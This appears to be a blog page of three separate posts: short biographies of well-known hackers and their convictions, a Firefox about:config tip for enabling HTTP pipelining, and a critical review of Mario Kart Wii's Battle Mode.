Kevin Mitnick was held in jail for four and a half years and released on January 21,2000. He was convicted of computer related crimes and possession of several forged identification documents. Once "the most wanted man in cyberspace", Mitnick went on to be a prolific public speaker, author, and media personality.

Robert Tappan Morris
Robert T. Morris, while a graduate student at Cornell University in 1988, created the first worm, Morris Worm, which used buffer overflows to propagate. He is the son of Robert Morris, the former chief scientist at the National Computer Security Center, a division of the National Security Agency (NSA). Morris was not exactly a hacker of the computer security hacker culture, but a user of the MIT-AI, the home machine of the early academic hacker culture. According to Steven Levy, he was a true hacker who blundered.

v00d00
Jason Burks born October 2 1976, also referred to as "v00d00" is a former computer hacker, and malicious software writer. He is best known for writing the Juggernaut Hydra, and releasing it into the Progressive Insurance mainframe.

Craig Neidorf
In 1990, Neidorf (a co-founder of Phrack) was prosecuted for stealing the E911 documentfrom BellSouth and publicly distributing it online. BellSouth claimed that the document was worth $80,000; they dropped the charges after it was revealed that copies of the document could simply be ordered for a minuscule $13.

Brian Salcedo
Brian Salcedo was convicted in 2004 of conspiracy to commit wire and computer fraud for hacking the Lowe's home improvement chain's unsecured wireless LAN in an attempt to capture credit card numbers used during transactions. The FBI claimed that the crime could have caused more than $2.5 million in damages. He was sentenced to 9 years in federal prison. The government claims that at the time of its imposition, Brian Salcedo'ssentence was the longest federal prison sentence ever given for a computer related offense.

David L. Smith
In 1999, Smith launched the Melissa Worm, causing $80 million dollars worth of damageto businesses. Originally sentenced to 40 years, he eventually served only 20 monthswhen he agreed to work undercover for the FBI.

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How you can speed up your Firefox?

Here is how you can speed up your Firefox to work faster....

1. Type “about:config” into the address bar and hit return. Scroll
down and look for the following entries:

network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests

Normally the browser will make one request to a web page at a time.
When you enable pipelining it will make several at once, which really
speeds up page loading.

2. Alter the entries as follows:

Set “network.http.pipelining” to “true”

Set “network.http.proxy.pipelining” to “true”

Set “network.http.pipelining.maxrequests” to some number like 30. This
means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer.
Name it “nglayout.initialpaint.delay” and set its value to “0″.
This value is the amount of time the browser waits before it acts on information it recieves.

Here you go now pages will load 2-30 times faster .

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Review: Mario Kart Wii Skids Way Off the Road

Oh, Mario Kart.
What have they done to you?



The Mario Kart series, in which Nintendo's famous mascot characters jump into go-karts and race each other on wacky tracks, has been one of my favorite series ever since the 16-bit days. Since Nintendo has only ever released one Mario Kart game for each of its consoles, the launch of each new version is always a big event, and hasn't ever been disappointing.

Until now. Mario Kart Wii looks great at first blush, adding motion controls and online multiplayer to the non-stop frantic racing action of the classic games. I can understand that the gameplay has been dumbed down a bit for the Wii audience, but in the process, they arbitrarily yanked out the series' best feature.

I am referring, here, to "Battle Mode." For my friends and I, the Mario Kart series has never been about racing around a track. Ever since the series' first installment, 1992's Super Mario Kart, the games have featured a fantastic gameplay mode that drops players into an open arena, then challenges them to defeat each other in mortal kart combat.

You drive around and pick up the goofy attack items for which the series is well-known: Green turtle shells that smash into opponents, mushrooms that give you speed bursts, lightning bolts that miniaturize the other players. And you attack other players, all the while attempting to drive away from and avoid their attempts on your life.

It is some of the best multiplayer gaming fun I have ever had, and it's been a staple of every entry in the Mario Kart series for the sixteen years that followed. Mario Kart Wii does in fact have a Battle Mode, but it's not what you remember. Tearing the game open, my friends and I quickly found that they'd utterly gimped it.

It's no longer a last-man-standing contest: Matches now last three minutes each, and if your kart takes too much damage, don't worry! You'll just respawn. Even worse, all battles are now played in teams of two. So while you can still have four human players, they can't all face off against each other -- and what's the point of that?

How could they do this? I can imagine why: Since the Battle Mode, like the kart races, can be played online, changing the rules in this way makes for a better online experience. If players drop out, it doesn't kill the whole match. And new players can be added in easily to existing matches. I get it. But there's absolutely no reason for them to cripple the offline rule set, too.

This is a game-killing issue for me, as it's just taken the potential fun that I will have with Mario Kart Wii from "months" to "hours." It's really too bad, as this is in all other respects a decent addition to the series. Mario Kart Wii ditches the two-riders-per-kart mechanic that didn't quite work in Double Dash on GameCube and adds more vehicles. Now, there are tons of different karts and, in a new twist, motorbikes that players can ride, adding a decent amount of depth to the proceedings.



Mario Kart Wii includes the Wii Wheel controller (right), a plastic shell that you insert the Wiimote into. Unlike last year's Wii Zapper gun controller, which was pretty much a useless piece of junk, the Wii Wheel does help your accuracy by stabilizing your hands and letting you turn the Wiimote just as if it were a steering wheel.

The Wii Wheel is a good idea insofar as the accessible design will help you wrangle your grandma into a race every now and then. But if you're a hard-core gamer, you don't want to use this thing.

The standard Wiimote/Nunchuk combo is the best Mario Kart Wii controller. You can use a GameCube pad, but it's a lot harder to pull off tricks. When you go off a jump and catch some air, you can waggle the controller to do a flashy aerial maneuver that will give you a speed boost when you land. If you're using a GameCube controller, you have to reach down and hit the D-pad to do a trick, which is as uncomfortable as it sounds.

As ever, Mario Kart racing is as much about navigating the crazy tracks (of which the Wii version has an astonishing 32) as it is about collecting the items that lay about the track and using them on your opponents to screw up their driving. Also as ever, if you are a skilled racer and sail into first place, you'll never get any good items -- just some measly shells and banana peels. Drivers who end up in the back will get all kinds of crazy stuff, allowing them to plow through other players and catch up to the pack.

This is another area in which Mario Kart Wii could have benefited from some customization options. You can turn items off entirely, or make it less likely that the unbalanced, powerful ones will appear. But you can't just go in and individually turn off the stupidest items. Why on Earth not? It would be a trivial thing to add, and like the Battle Mode disaster, would have made a huge difference to the gameplay.

The aforementioned online mode does work well, even though Nintendo still refuses to let people chat with their friends during a match, and still requires the input of sixteen-digit Friend Codes before you can add anyone to your friends list. But the gameplay is lag-free, and all kinds of races and battles are available to you.

With all these improvements, it's just too damn bad they had to have the best part of the Mario Kart series taken out back and shot.

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